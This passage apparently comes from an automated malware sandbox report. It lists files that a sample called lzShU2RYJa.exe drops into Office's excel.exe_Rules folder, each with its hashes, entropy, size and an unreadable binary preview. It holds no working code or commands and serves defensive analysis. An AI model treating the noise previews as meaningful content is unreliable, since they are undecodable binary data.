Preview:	<?xmlI...).......X..^.(i.[....[..Y.fFQ~...&.7<..{...}I...JF..Oqw..}.F{.U..j....hn<.h.1.....)a..u...\|....;....^i.c...K..a....u..@T.P.......2...qm.<..8...Ox.JO........)\|.e.o....S......Cw1.-....;..M.......q.t{.O2.)N..f.wJH.f.Wm.O.U.a.p".....2.j0.....G......k-.q....hv,..;...6<.&.G.Y....%."..:.]c.....>u^....E..._...a.B .......u.Q.&...b~..Vo.W...Co(.....#..t`.....Q..6./'.L... 8....y#2....@-E9..W.Z..(O._.e.q.:L.c..G..J...;.\|....N.W..v.-....t.3,...$d..;....=".%e...ni.....&.-....R.O...C!K.z.:.uz...W.y^.+!b...j..,#.f...f..F..._>9y....B.I....TK.#....1...V..u0."U..........A..E$26...n..........@.uw.`......HK......m..7.E.\|.(..F}.....uG...RO.'.-....%...Z?...k:..v....%..;.M'T.M..@....n.....b.>.T.GI...l.%.~.x..6..:.H.{..\eR......C..-.\g.Q{1#....3..31.Km....mm=SK...#Z_.u..F.<....W.6..lHc..}L....)..H...D%..>u\.X.....8q.i..l'.O...d.N&.s.......-.~uI.\.....X....+.........Y..{itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.951709944525304
Encrypted:	false
SSDEEP:	96:0DTNQ0861i6wBOi62tIQO/HoXxmzxIjOnk71i9:0XNQB6gBLtS/kLy
MD5:	B676A56D8B9F645378FCF71DC7DA5739
SHA1:	5BD1135850722BF76FD26FF3C1EEAC77AE7730B6
SHA-256:	47898EEABCAA6730663A9BF807596C7FDF3715E9EDC7A1BFF3EE47F2AA2043B7
SHA-512:	2329C5B1AB1F4553F08291087526097B5596A0524AA169F3D3A901173E490DF69A3F88E6CAF2E1745F04FA8EA998F96B67439A4DA1D63D0634EE495984423F6D
Malicious:	false
Preview:	<?xml...h.>0.]..`...Z^.D....k.f.tH...1....t.-...?mw=..[A..l......}.......lW....ooQ...R....rx.X-...{Wkd.E..F...........3{?...d6.[..x.....e...!.]..cM..M.P.....C....".D...(..(5..E..d'...+..3.;....z`^Z.4.......xH...#........=.&.....i6.k.=..@..K".8i..@Z.\|.KJ..V-..8#.&...,K..h..!..5..o#...;pzDB...{..s.F...~.;."...+..h.y.W......x....h.f.G..ScC.....M@.R...(...h..].u.g.j....8n`Vl. {$.].A.$...(2./I\.....t.$.E)..oi....W.d..,.d,...N.\..-F.-#..x ...H...:?.{.....JIcX../b.....qi..=d.+...._.j.v.<O.B...G...:....x.c..e.o..............._....i.QV.nF...(.+...~.,~..:...T..=h.n(.nz.j...kSw......".L;...O.jw..zhdu.9..]Qz....g'<..K..Id-.....>D;..x.q...tK.e.l...t.`-`w./.T.....=JO.54j.k.....'.;....A.{..O.....xEj...5/.c.[...H^.......\....c.]I.t..u...tJ$..sX/Q..F5...I....U.." .l........."..I.._.ja..@....`..$...'.4..hr..........Q....x.#..Z!q.....T..Pl.....w....:s..\|....z8...4LZ..W...z.e2...2.}h{.......h5...+...s.AV....7..Y.N.d.t.~HP.5s.a..s...h...+Wb.....x...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.927425424482281
Encrypted:	false
SSDEEP:	48:Cp0nDuVOiM7AGB283tEzl6ybtNzYqmEcvVgUlHHTkAKxii/6uYhrDqFD:Cpoiwi5GltEZt9YV9N3tTkbii/SE9
MD5:	7A3BC018CCAB014011A984229C1E404A
SHA1:	E3DFDD692F02253217B14DF4B275A5A28A047017
SHA-256:	EFB99CCA6D4C84F1366580CFC2322A8A5834E7E5E423299277D0ADBD07D1CD4C
SHA-512:	81B5290B4686507BFBD949CAF6DCBE05F348FF470C625D97C2AD8782BA45596074C9638323BC26290482C218D35F42DC6B9CC285EDB1825B2ED17C1D788351B3
Malicious:	false
Preview:	<?xml.."=.....$.A.J....r.Q[. ....b6.E......p.r./D..v..Q...$....h~..Y1.....xR.....\|..Z.G.........._.J.rP.N...).8..........{.:.O.N...>v.......B{..^._...O..7...1Jy.v....v.4........% ...L7..n....;.;h.^.5MW....l+03r(7.i..%.}..C.....o0...(.......7....e.EP`..7.v..W..3_]......I..hzVMPr......n...".-s...P..$..N.....".3..Yst.-.............b.d......8..#...m..../&.....N.g.<...{.f~....N6.+@P......z;......iLG=.....x........`#..)..l...k..KS1{{...T..4e......~.::]G."ei.OS_.G.e./.X.O#..c...+...8E.t...DT..Y...H..Y...@..j.d...)......scp9..aK....)..R......w..m.. ..h.....M....i.\...H...V../..`.K4..[,.V....8P.........3j....0}...l%].A+......:6G..T.S8.h.......^..qT@.....r.....\.-..cx.e.XQ......H..e..0....j*..S........"..\|........7^.. ......I.Q..l.e.#$yY0...D.S...lX.......1.......kG{z..G.vD....zD.w:............./.....'...t`..F...(.....0#,T......9.#w.c.N.8.....Tm........>.Cv..H...Xy...w..........&.22.v..^.3.b..%p....._..#. 5a..j...2.tz.F.}`..].....H.,..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.935839791462094
Encrypted:	false
SSDEEP:	96:DyOFoDWD4bD19VCRcydCq+dTuY9ayUE8veO9:DytDWwj8aygDTuYm2e
MD5:	095E2406197EBF481E25500134136F34
SHA1:	DEABB8A13D39B0A3531D3ED4810D280916513F2F
SHA-256:	0172079330187BE426025C3038A53BCD54990C06B5619917BB16D086B0002729
SHA-512:	91C93A16955BBEACC6F84226ED2D111D8DC2EA03E46F6E1F43FFA033183F522D21A90430BF5E60BAABA063FBF9BF31D5894A6DDBEA95728889BEAE41B61D6FC9
Malicious:	false
Preview:	<?xml.6..M.......F..0i..Y...Cr.y.9M.Le.g..vHH@+......h......T....e^....?)f#...[sP^.1@..".Rf..2./.8]..v.?..7..4.M..=a.....m...i.B.....W....n.xc..Px?.......3.BA.......g.7....0}9.]a..u(..;..k.T....A..um.J.po..g...(.....VV,..M...5....U....x......@.....W.z....+".X............m.?.aZn.....CJm..!5...{..B.?'..P.r?H...F;.......r.qc.hl.2."..Zw...g.?G.v..@+..m..m.k..tP&dX../#.#N...Oft.....dM46..]2Y`....c.V...<.Y......e...)..K\|?D...A....S3v.].v..0.i.....J.......B(S..].k.R......m..R.Cv&.g..._E..3....r.V.p........i...K+..~[.._..b..SId.T....m....].A..j..]M..dx.7.t.>r/.1.......nD....(.!g.g$.-n.6J.c..Y.....rab.eVo.......P>......_...<...0.%~.:...Q.t.R....w...f)&...Kh...p.0..;..dL.K9......"f.Q.....4W...j..\.sI..........R.,...sR.N:..Q..\|}........z..R.,....e8.3g..F..L(V....zp..k.UR-T..^,....V.6.z...5........G...V.=@.hJ.iN..^F...!W..m/...Ps...qm.I.....'.....R.....+f.&..Y..qg...\|2....P@..f.!..#....+oo.i.. .R.&...9....M....W....'.>.]\|W*.sg.C.].w..N...a7...d.\|(BVZ#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.857546672222865
Encrypted:	false
SSDEEP:	24:1593KST8FWk7UXlJYXHyoGJWqqgufzgnxFlJjrxZ8IV2MuXvZVbD:VT8FWk7QzYXH+W3f6jlNlR8FD
MD5:	872176A0B090220674D5147C6AC71682
SHA1:	9BC0D7A5499028C2FE8D8E825D8C8E36800678E3
SHA-256:	4E9EC33D9F0ACC3D8B997EDEAF0757CA082AA75FFA515401BBBE03146C0B2928
SHA-512:	8AC64B7321FB6E030F8AB077D062914D4D3C62370483E6BAEA6EB5DF4B00DC8E2C47D6351B7E17863E2B90DC57DF4424051D5A9E4090C56F5817A49D8747F13D
Malicious:	false
Preview:	<?xml..n.rM._.KRV.@^.vn....`.mB.z...6&r."XTF...r...4.K..Y;.......)...\|..>..W.Z.........z..(....G.[o`..nz....m........~.kn.t.``[...#%.=..4......9qk!dY......U...o.e]...^.....e...;.R..:.[.\..;. ..7..q...\| .....7.x.c....NQ6$....<\B.6...Fqk.k.q+s..~..)N.v....:.Y....U"Q..g.ng.....H..<.....p.p.8.X4.k.......,.....>.....(..4&.en. ...a....$..SW...z.no..^...%o...nqlV$....7....OW.}Dwb.MbDh..]bX.Y.W...f......Z......;.....$...u.6.+.=..u...(.6Cp..;.\q,.j:_)....<.a........J.R..Hc...".:\...0....2.h...`....U.........Hy...e..X....^..6.Zx../.......f..4=.t.prg..9CN...}L..0T.T...y}R.k`.y~mZ.>m.RP....a.......{..[.....rm.0..q.c..!...#.5..........d....g........M)..........c....QJ.=.w.c.........M..n.c......a.W2.a..\|......!,KF........%.Q...4.!.v....I4&u.vS.iW..K....\..X~8W].n_.Lg^....?H.$$,.......Q.;.!YL..Klk2.....S.... ;.%.....=.6.....U.k..?.9.Vj.w..%..-.w..u./....O.....V.i.....G.J....f..2yQ...tKr.Dtk`fU..z....O../)....J.."^q.@.D......o..qR..5<,h.. .@j...........j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.9141604987702365
Encrypted:	false
SSDEEP:	48:4hPFjiUvSuD8fWp3Yx76KBY0L8bQCmhJeTPzuepzN25wHl2iQFFD:OhiU668+p3u6KBPCmnezyMgWLQF9
MD5:	34D3642B4B2BB16443910F0DB7ACCFA1
SHA1:	D730EA3A129F8A92461248A1A6A3F67F7FB6AAC3
SHA-256:	441F6F6914A3EEF2EEFD549A372850ECB568A2552A50D6BADC8C33C883AB3F6F
SHA-512:	B42BEDB05213AF916B30C83F58295C092B0F2CEFF0769D6F4912DF6D0F5164571DC2C5060D581C7BC7BC6AD81C9D6924C0E61222EB842092E68266FFB32C1456
Malicious:	false
Preview:	<?xml@.+'..a.p.\|T..J(.`b......g!0..i.4..U4IQ..}......c...2...^.'.q...X..]8n....;>...-...@.x[.aM.k...0...!f..f.u...1..x....t...=.8P.[.......A....m...;..%. .MA....e.UC.C.6qhd..S....%L../...}....V.<F....B\|.c.2..\.9.1..Y.V$jC.#..cQ..)d.k....<63pam07;...w.............Rd......O.=..V.fh.L...lK..au..sA..E...y.a"=.......[3..T......{}.2.D.)\|gd.]..+.....<x+.Cr=`VR../.5F^.+.......V[.T..8..x..Y:..@...&.{HCKg{t!V..."$.f^.D\|ceE_t.o#.P....M...&{...G.+I.....M..R.0p..)..Gj...Eg..2.0....UI.$.X.".r....'...H.....UV..G..{..IW....4..I...m;.u.%.'..j.......Z5..7....?a.L"B1.;I...r...8\|..y......P.xa..Q...[$...G].T...x.=F.I.b..L..T.}h.J0"....\|v....Q]..6+?.b..5...gE{>-.'n.ti..Q.......v.z.ePS.q.1ss.....[.6.G.o.(.&K..K.z.A.6)R..`.c.a.O0.((.._..x.u..v'3..:l.0p.r.g'.3D^.8...u.].-RM-C..C..f[Z.l.A...t/RS....b.7.=....d.........ea.I.pow..2F...d!?2...L. .r..$...r^.ecF&L.....l.I....~AsKD..g.lja.$A.X..;v....5mShU...:.*...._Y..f.....?+6.....^.......z.$..;..."Q}..u@.=.i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.894318611744429
Encrypted:	false
SSDEEP:	48:BPTZ5Ye6CS93E827fKWL5/IuMYZk58lS1OHjW9RgWdpFD:BF5YGS90pG5YZW87KqWT9
MD5:	B136D787E1EB912DF05AA4B7F57A25A2
SHA1:	F5C2A21D69BC7FD7548D86C6F8EFCC06D35CAE72
SHA-256:	905F35D56EED94DC646278927192D01C6021A4EBA93D7E8C5A7DDC82CF4A7D9A
SHA-512:	3481340DB15A06CBEE0083C285E415D17B4A636074BF7F8BCD64632C29B6CE2F6EC2273B0512DA64C34A89928992B596BD66F8AECFFAA6588FE420235579B42E
Malicious:	false
Preview:	<?xmlu..Md.p...(.".h..u... .....c.t......[.iF..I...... ....+.R.,.N..&..I... v..,o.+.&{o.Ow.SS..v9zLZ..mD..T..6_[..].$t.w........n.m...m[..~.;C..U5..%.........l).>.V..5P.........\o..F.....X...\|...?.E.....Dv%u.MR5.{q...U...X..LO5..;....MSFX.S.b.u.......w>.0.}E\.I.n.$.{...M..Z...%...,...f(h8q&..9......0n......E....-.3P...m.....<R..{.:.M..aa./b&..o..n9>...LN..Dk.<^j2;.SK..I.K..rOw..3...\|.c....{..0q....._)]...........K.+P...x.....q...'%.&.Vc$q.._{..(..W.....u%..~....d......g......@.h.%..:..T....A.D..P<....H.*.x.......=&.F.85.}.ePU.....z.U.......r ..K......8.q.F40 k..}&n.c.....Q...xa]t..3.O.(.7h.._.^..M..-O...a.1.....j.e:...t... ..ggn..f..$...K:.........<....q.^tr..P.n....UQ...0?mc<gn.....m ..ch.I..6H....wB`.u..XRH.,..g....&\|...LzY.........J.......y...._....:l..Dr._qQ@.}e.r,.+..KD..&.{.)_......:...2.#S.T.y.'.r..j]..hf.w.d..N...n....)...G.....A>...o.\.I...s...J....\|....-..+N6A...H._at.._i./I.s..'RAZ.<.Q.3...[..o....1;..o.#U.nF>.j.....(:...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.878373029588567
Encrypted:	false
SSDEEP:	48:LibZ0li3xIaYb1pZSFW9VCBfEm4eEePwus0yx4IFD:Li9z3uaY5TMa0a/eX4F9
MD5:	52E9D87F68553A03C8B7FCA661AF58CE
SHA1:	03799F409C85C4D97F65066F1C7B4D6E15527A68
SHA-256:	4328AC6DE6242D35C74E5136FB8AE899C6EA4ED0E3D6BF6337BADA16E83CBD8F
SHA-512:	227E810D4F6A7D843279A455327CA9BB73C9EFF7169ACBAEECE98F511F48B23A34805C0A476D35D1A5060645229DCD0CFB42D611D6AFACABB601D57FA396A70F
Malicious:	false
Preview:	<?xml..(.....}P..[.E.%...'G.h..(,x.N6[Z...Re...$_&y..hr..YX@....E....8E..PT-.]..!..N.......C..3.ev.....L..N..L..ao..LCf;!a.%...\.3J]...K...O.....D..'G.p.b.L).}_^.D..).3.&.k.~...x]...i_.d......3......(`+..d.h...1;.v#W..L. K.F[.:.....:.....P..8..}I>D.tT.i".....Lr...:.Q%HP&...{vyT[BAT ...G,.....U.7.w^L ]&..2YA.;B....c.,h.P.".1O.....z..u@<.\|.\@$.....gpr...@/.. ..=..B.....7.:..9.V..:...69.n.$.p.1L."GV=.e`...t'...\|.......#u.9.....+_...!..@....ML....]./.RACQ..J.n..@.[........%b25..wp...".$.M9~E.....R.=.}!.c.-#..E.K...2-.s..#N....".......<.......Y)..a.h.......aSr.H\|...l.....;7Z[.4..8....ou....d.N0.....\|Q...4....79.3.qr:~.o.=...W5....%...)Y.Y]...~.2....X..\|..........G...0...:.kR.....)_W...U..%0.Z.5; .~..jx....+......t..V.J..rG..kBKB..5...x..X.$...G.9WV..}..8_...m_8b=....\%.T7.H..........s<.%$.....N.n8..H..V5.m"....h....K.hY.c#..;..E..!h.,U.HB.....bY^^4".<K..5_.u.P.D..0......Zz.[.WW.4...........qm.j..._?$...U..(X.X/ X.RX..l......./.:.m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.928573263893152
Encrypted:	false
SSDEEP:	48:BEznhu10XrjHDxbhh1BlBiZR2s+c8ej0zFlidLxjGQN911lKjFD:BEbw1a1bhh1TBmRQcY5m1GQNDLKj9
MD5:	94F9573DED4A3BC14458826C46612A84
SHA1:	F193643F5F5C5334DBF3A73870B7D06EE73543DB
SHA-256:	FD297BF310A6AE594731E7BD0763D51808A72F4699E57E62EF0E7E0DD4A8496D
SHA-512:	E7E44E7890EB179B8E8E4ED3ACD5244EBD80DFAC8E130BEE4EDD3FB3DF800FC9690A4F337EF9F66B5BCABF7CD3AE8CBED3999BABCA56690D38083E832C621E52
Malicious:	false
Preview:	<?xml.;.-.Ju[.0.X.v.7..X<....+.o/..H&...q2..+c...;..<.cQh.[..a..?z.xs....M.es{R....5..x.........R,~.+..Ac.h....-5...G...u_pt1.~..P.u.w5.<...3A3QrE?.M^62..{w..i..i,...w..Li...Ax......!......S!.....&.R.L....$+z.^......!5.........~.".&a@.* f6..^.a..v..=lSu;.)94.e/).5.h.....^.!....J..q.C..7.'!.`.... K..o-.b..%..\....j..y.2..2..N-...x..`......<v. .......sa%...i...+...X.e...oH.uD....v...A....D3..P..(Ld4...D>)e.....t..%..>.......%...5...!.D...=..^Q.Ly-9.)@....6.6&.oK++J.+..7..6.!.@...{Z.P..E..T 0N/.H..rBf.[Ft...0..%...;....LP2@.)..N.".P.H.+.3bW(.#.....NL.O.......~.fB.u.....!.{.0.../..rD<.].;....p)Z.....0..w..wVHgT..\|.n^.n.Q......).1....8..#.....P...~..~....2.....U$...-Z.R.......T.3.3...D....2x..?g?9.~72.g7....jm..u.N<W;..4..\|FRH..<..F7....P.Q..Z;i}fZf....6..@........}.9..A.....d..n..y.o...}...V X....=.Y..~.h.4.....,]...GdG.b97...#I.\|..v3O.\|U~.ZVEE..roDrX.D..M..pgJ.v.5LZj.ET@.. .A.)...H.&.@z>.TXX+X..nj..~.W^.e......M,m.4..m..".b...r*%q........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.949754993003274
Encrypted:	false
SSDEEP:	96:I5kRCNhQymgkuBF07M+Tdrv88/ZLtDrbyFN9:I5kAUgkTY0djxS
MD5:	E9A914000EFEB8653C9D3CF7351A7F47
SHA1:	45021F51FD89D0795823AFA2F2FF1D1C086EBA02
SHA-256:	8132A3C36489826222B863D3F7755AA416B1951B4224B0FB81C879B0D975C4D9
SHA-512:	7D5E0C868A60A3B6FEFA2A768216D1DD61376817AF1DDBF9849F5D05F27AFA8B112A08AE945A97D0A0C5C2FACCA70B43C8C098228D2B5EB802EA2611B98F8543
Malicious:	false
Preview:	<?xmli.;O......H.qa....c...-db.F.....7.L&gq8....Q-.4v-...4.f.b.....Q.^..D.Xs.`.....J;...;l..........i.X.MN....m.F.FRl.......;Q......1p. ....t[.....B.u.A$_..z.?n.b........~L.?w. ...H.3Y1\|;OKp.L.L40.....h.p..Nz..5;.{.......N....!...._xCY.T...8...}fF".Y_...(K.im>.._.~.S...YyVA.?F..2.`.i.4...[\|.^P..G..c.!,..^.....@.V.9..r......A..jjP..G...x.....?....g?...F..-D\........i.V.=.)l..\?..g55J...rb......d0.=...Q..<..8S..=..1.?.2..Fm...3...e.c87.D..2.i...A-.K.+..@....Y....q0."s..kz...?..Z.h.=.....f...........,..a...@....9.*.\.-..`.._..Si......0.. ....9a&..'....7......M..p.......T...Z.gN~.f.p._,..x.S....g./Z7.j[...Z.......y....-......SX$..{.^....4.gg.!/....l...S+.F.r...............Y.u.'.,F#N.{:...M.....l.H.....4<.6e.KVa'n.9.m9.....o74S..l.H>.._w.wD.#...$b..Wd...).7....U.2.<...+.O.E.i.ZO...IU.((L.4.....`G...K.;fL......[..o.h..~...._../....8.?ag.g...,..W...Q.......u..\'.,."..f^..HgI..<.D..=z.}:.A.f..+4.tp.?.x..bU....w....n5n..Vh...fL.........u.:....(....s..{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.975002852924272
Encrypted:	false
SSDEEP:	192:wknSJ9Ymrm2Zf36l5uSBOkBiyxpRU52Thwa7jVWd6KIU0:HnSJ9YmrPZfKl5ugOYxTUyhDWYV
MD5:	A362F90C77AAADAC94F1F38E23B0639F
SHA1:	921B34E3365DD13B83855AC22EDBEB1BC089854C
SHA-256:	54338D61CF6CF5C7EE9A1205DDE97F85FF1ABB29CC8F8FA27FEB4940957108A7
SHA-512:	08B4D7DE64EEC159AE854EFBD6AFEB141E96C38F898C2C9AD14BABF9251A12103CB463B686F7A9C1680BB2F0A3DA61EAFFE7DDB7854E1D3479B947E10483FC8C
Malicious:	false
Preview:	<?xmlM.i.....s...._..gv.. d,....=.6....QN...........pc.z....$.......s.n&..........~}bx.B....S..VU.p..:.8...4.(. ......y...3z....nF.m....i..%g ..9-B.j.'...-^+.+...y....g....+L.L.s.6~.m..Ju.y..#/..Z....!W.q...,d...z..o.5..C..2..<fL.$6/.HbW...M.o..\.\..A.t+_.l....4..O....k...?......&.R...I.Gii.....(z...q"{.n{0.?....W.Qw.a$l.D._...h.x.0M..!9..#q...l.....i.W.sS......?..XW+..Hw.tX....9.....ErWa.-....J.....)V-.j.N..#.l.-/...T.J87w_J.ib....6U].%.YS......i.~2.G......d}..L.Ww.Krk..#../B;q.....!C.....q......A&..U..sD..&A.Q..-.l...C..RC.q.$...t.....V?......n.....M.~.^~...p{)./..Q....].g.H......\|.m{....a._.......)... ..I./....x\N+#.)..x$.d........]s.@..D..~.BL..A...3..\S.Y.6$.w.9_.u.X.k.h.s.M.C0@...R...x.8.`i.f94#.k.t.),L.9.2.k+.d...5.;NO..ELp.L..8...._..$/....h...O.....!/Y.t.....o.n(.X{.8R..(.j.`..qa.[~3n...v..T......~.7...e..b'...N.:...\|....,..%.Qz....K~jA.Bh...j....S..W.....j.4...@R.zN....sd..d.....D.#...b4.780.J>=.......98.......?..#..>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.942231643373782
Encrypted:	false
SSDEEP:	96:LPcdLzzRempWdtacKhyKFL+9SU/2+JcyzcryA+xNY9:L0dLzzRBw3a5tFeSq2+ZcrSw
MD5:	D26F5FDAEB925CB9169713441132FBAF
SHA1:	5A8580315127152560162B28205A700AB6E72851
SHA-256:	7726251860669010FE8B87ABF7489C469813480F479DE66E69EF31B455BF3180
SHA-512:	C278CE27620294113FA004502E2A4BFFBDBE7D8E4528CF75FA3EF957174D57C6649AAB3CC1E09745710A3559C14CB869514276E5CBA0387D4599C23285613F18
Malicious:	false
Preview:	<?xml.-.D...p.....j5:c..N.....9kT......G..9t(..:[{...=vK.n.A..].HP'..{.....7W...i..R...1..v...1V..Q.r.p.L....m.....:.R.....1......N..F.....2...t`..&Rn....&.........;G..........h..Q.....O...+...K.9.>{...I`....[.b..F<..........D9..........fMW.Ef...W.!Q..J..[.!.$p.tN.y..d>.Z]t..y.....o.../5.h.....Ly.D....i.g.".. ..HfD9...vBdp..1...;...+5P@. .IW..&$In.-JD....3..t... ..v..XE..o.tD..#wGS.....i.!...?W.S.....)N.2.......O.<....5@T........W.t.A........ ..fd..g&p..a.%:..J2H.........!)./f:8.2.'G.H..3..4@.k..C..\..q..^....$...C.`JZ.f)....L(0......?.\\|R..._uqU..qp..X.(..,.:....w.i.U}c.];...}n.z;;B.-d.n......\u..\|S.B...L.(....C.-.f....~b.0,7Tt<........6..D...C.?.....u./J.i.,...=...4.F..uZ.o<qI..Ez..tFd.>S..J....6..ir....w^$g.....4...........=.\|.....e..>+.........l.j.hS0....5"k.....M[..h.m[..W.2w...a...}V.y.\|.en...x7V..q0T..1z....L;....$r..$....k..W.j.7y.N.."'..s.^4.3.{V.[.,*.f.qz7._Oo....`f....`.f...W...W.B.Q.......PM.W...p.H?....lE..K.l..lr.l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.949391429255559
Encrypted:	false
SSDEEP:	96:/MmTHzeNgmmyYw2ByAceThZcsfBIdrO4XQdr9Ks9:/XHccA4+chZcZdO4Arb
MD5:	3274E75A9A79D353FE1D827E32A64890
SHA1:	4A5CBB86584E2129DE79D413F7657DE20921F760
SHA-256:	DA9400BAF9408E6713A077DCD1C6F41D97EAAD5504F2B8FB267B022F27E62C8F
SHA-512:	3D335BFD4BBFB20435806D8525721D1CA8148E5443C5FDF4AFA0359BB53BBC8C9A528A88FD8B3301B70DD1F747136AFDC72CA22E6A814F02057A42C5213176B9
Malicious:	false
Preview:	<?xml.I......O..v..O5C.....................A..('.......pt.t...m.u.c..aA.j.dW>l.`.m...eK.....N......_..Zg_"S^Dv.XhG.l.k.kV(..1...y..$f.a...5x..R...FA.s.,.mC6.\;j!..}.e...m..%$l...P`.S..%.[J...K<_PR..t.....WV...G...r.p.....I..>...U}...,.eW.0........".,o..=.}.]O....P.E%.c..w.\|Y.L..t}..^...]...u.+qQ..f.h#/...P...'.E..D.$`.(..!.7).X..c....>............?.Q.1......9.?_."....R..]`...W....P..[]..)jB.r.+..'w0./......J..Sj....O0....'..yJ@....P._.+.N......N.._.)...l..[..~.D../....p..V.....::g.q.....Dgl...7.F,.......\|.....p.... w....52...}xf..%@.......)}.@]..'C....X.3..?..Y...+.D...o]....N....n..._...rk..Q...4.F.F,.oO...Tj.NFb.U..u0B.......b.?.]..M..)qf..%.N..........k6.U.KL.....Qmx+p8...FL..q...w.i.....U.\}...{)5...z..Z..J..i..U.F=h........y..7[....7..x.dK[...`x.\|.~..Cc$.,..o.....T..>.....-....s#v+.q........e.N..L..$CbZ..........;...Df....1.4........!..;.. .......".1gv/r./.F,V.2...].\.e5vMk......M..[...B..h.".Z...WQ0A#..(...G.`.cU.3.\b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.933816474527455
Encrypted:	false
SSDEEP:	48:sOyMgo89e/CsRoGnVjqOrEAqdUrMD0ybY9mpQfvFGcxueCwIoQ51C+/1s+MwYk5a:sOyDoJRnnHrJqdOC0yb7+fNGcPCwI75A
MD5:	C21901B71B2F4B2926FE5F7215E92741
SHA1:	C70F02B7B44229436A0F0FBD4AAC8862FF4F3E90
SHA-256:	644CBB69CF3CA7235D35D61D099BF92F6E1FA54BF7BD405F4603CB053A6F2F76
SHA-512:	6C74367D1B7D4EF7C978B94A6CCCFA446C76BA9BC4B2A3AB6B00CF337C3EC8D64A32793844D0CF6A143E26A61CEB12D4CCF12AC396C61579C1B90CBF31B9A8A8
Malicious:	false
Preview:	<?xml.?.h....1$./...s5.....t..C).A.......\....p....h4..hr.....b.D.m&.{....i....#.......=..F).2..... ..x...e.8.$...N.J.vY.m.(..,....D.L9..\e..wp.....M...\|....A..r....z.C..J.53.....6.O..d...a70.\.q..b..q..B...s~.........V.V~..F'".Zz.m.w..s...thi1&0.%.>...}.....p.....TcY..o...@.^a.8..D.(.R...X\|f...<..g..=q.DD.z.4...R.i....#.......r..I..k.....cnJE.....`".C........I.7x.WY85A.....5..5.}..Ao.c.{n._Q.~r.5..B.Te.,.d..~.'...q......$f...S\|.....l~#qR{....&...1K..p'.z<...k.e.I..s.r_.f&.A.9Vnyn...Q'u1.T]....?,cqv9...q.h..@..^..y.>~.....OE...z.G....,...n.........\L2L..%I...W.:...W.J...=...p.L[Ttv. ..7'j..P.G00.......D!..1.%.+Z.Q.C...M...,..2._...n$.NF.U,i.g.C.y...RR.Oj.,S...~..g?e.LNG..j...a`..b...Q...n`P.Q2.H..PA....:i.K.... .[.f..t.{9_....1....S+^.i..m...-.vecF...x]..#S>...:.#55:.<$.Y....}.+...H..%,.u0.i...i.l.Z.......r.!.g....J...Nfi.......aY.j..J...-0<...R..h..\,...;".V...'.sUj....Hl^...^\..l.T..R....U.......y....V....9.f.Z....tm...M..-.p3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.9278277696498
Encrypted:	false
SSDEEP:	48:nhH5U3SszYJ9DnmF5+B5IdN9e5JJxkFVKPJLLGJIy3F/jcFD:nhH5EiR45lNSJZJX+5FLc9
MD5:	922DEBD718DB354467E5EF74672E64FE
SHA1:	E1322B2024BD42DC2F1BDCCD274EF3EAA610EA5D
SHA-256:	E146BE37D87D707D3ADD0DF390B1C71065B8E3D8D925152E5EFFC80BEFF6B594
SHA-512:	99806573718A948AD302C432C65705B22E060D920BFD8ADFEE6043DF815AEE63A18BFC91600CAE6A437146D88DA3E7F65E633446E94ECC5556D2256B1C70FF1D
Malicious:	false
